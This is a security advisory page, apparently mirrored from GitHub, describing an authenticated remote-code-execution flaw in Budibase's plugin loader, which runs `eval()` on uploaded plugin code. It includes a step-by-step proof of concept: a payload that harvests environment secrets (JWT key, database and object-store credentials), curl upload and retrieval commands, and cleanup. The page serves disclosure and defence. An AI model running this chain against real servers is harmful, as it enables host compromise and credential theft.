GHSA-GWR2-PGG3-P7XP
Authenticated RCE via Plugin `eval()` in Budibase
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-GWR2-PGG3-P7XP divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An authenticated admin user can achieve Remote Code Execution on the Budibase server by uploading a malicious plugin tarball. The server calls `eval()` on the plugin's JavaScript file inside the main Node.js process with no sandboxing, allowing arbitrary code execution with the privileges of the running process — root in default Docker deployments. All secrets and credentials stored in environment variables are trivially exfiltrated with no outbound network connection required.
---
Vulnerable Code
// packages/pro/src/sdk/plugins/index.ts
if (metadata.schema.type === PluginType.DATASOURCE) {
const js = loadJSFile(directory, jsFile.name)
try {
eval(js) // ← user-controlled JS executed in main Node.js process, no sandbox
} catch (err: any) {
throw new Error(`JS invalid: ${message}`)
}
}---
Attack Chain
Step 1 — Craft malicious plugin tarball
// payload.js — exfiltrate env vars into plugin description field
const { execSync } = require('child_process')
const stolen = {
whoami: execSync('whoami').toString().trim(),
id: execSync('id').toString().trim(),
COUCH_DB_URL: process.env.COUCH_DB_URL,
JWT_SECRET: process.env.JWT_SECRET,
INTERNAL_API_KEY: process.env.INTERNAL_API_KEY,
MINIO_ACCESS_KEY: process.env.MINIO_ACCESS_KEY,
MINIO_SECRET_KEY: process.env.MINIO_SECRET_KEY,
REDIS_PASSWORD: process.env.REDIS_PASSWORD,
}
global.__stolen = JSON.stringify(stolen)Step 2 — Upload via API
curl -s -X POST $TARGET/api/plugin/upload \
-H "x-budibase-api-key: $API_KEY" \
-F "file=@/tmp/evil-plugin.tar.gz;filename=evil-plugin.tar.gz"Step 3 — Read exfiltrated credentials
curl -s -H "x-budibase-api-key: $API_KEY" $TARGET/api/plugin \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for p in data:
desc = p.get('description', '')
if desc.startswith('{'):
stolen = json.loads(desc)
for k, v in stolen.items():
if v: print(f'{k}: {v}')
"Step 4 — Cleanup
curl -s -X DELETE $TARGET/api/plugin/plg_evil-datasource \
-H "x-budibase-api-key: $API_KEY"---
Impact
| Dimension | Detail |
|---|---|
| Privilege | `root` in default Docker Compose deployment |
| Access required | Admin user (authenticated) |
| Network | No outbound connection required — data exfil via API response |
| Data at risk | DB credentials, JWT signing key, encryption keys, object store, session store |
Any admin user on a self-hosted Budibase instance can achieve full RCE on the underlying server, resulting in complete host compromise.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.41.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-gwr2-pgg3-p7xpLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
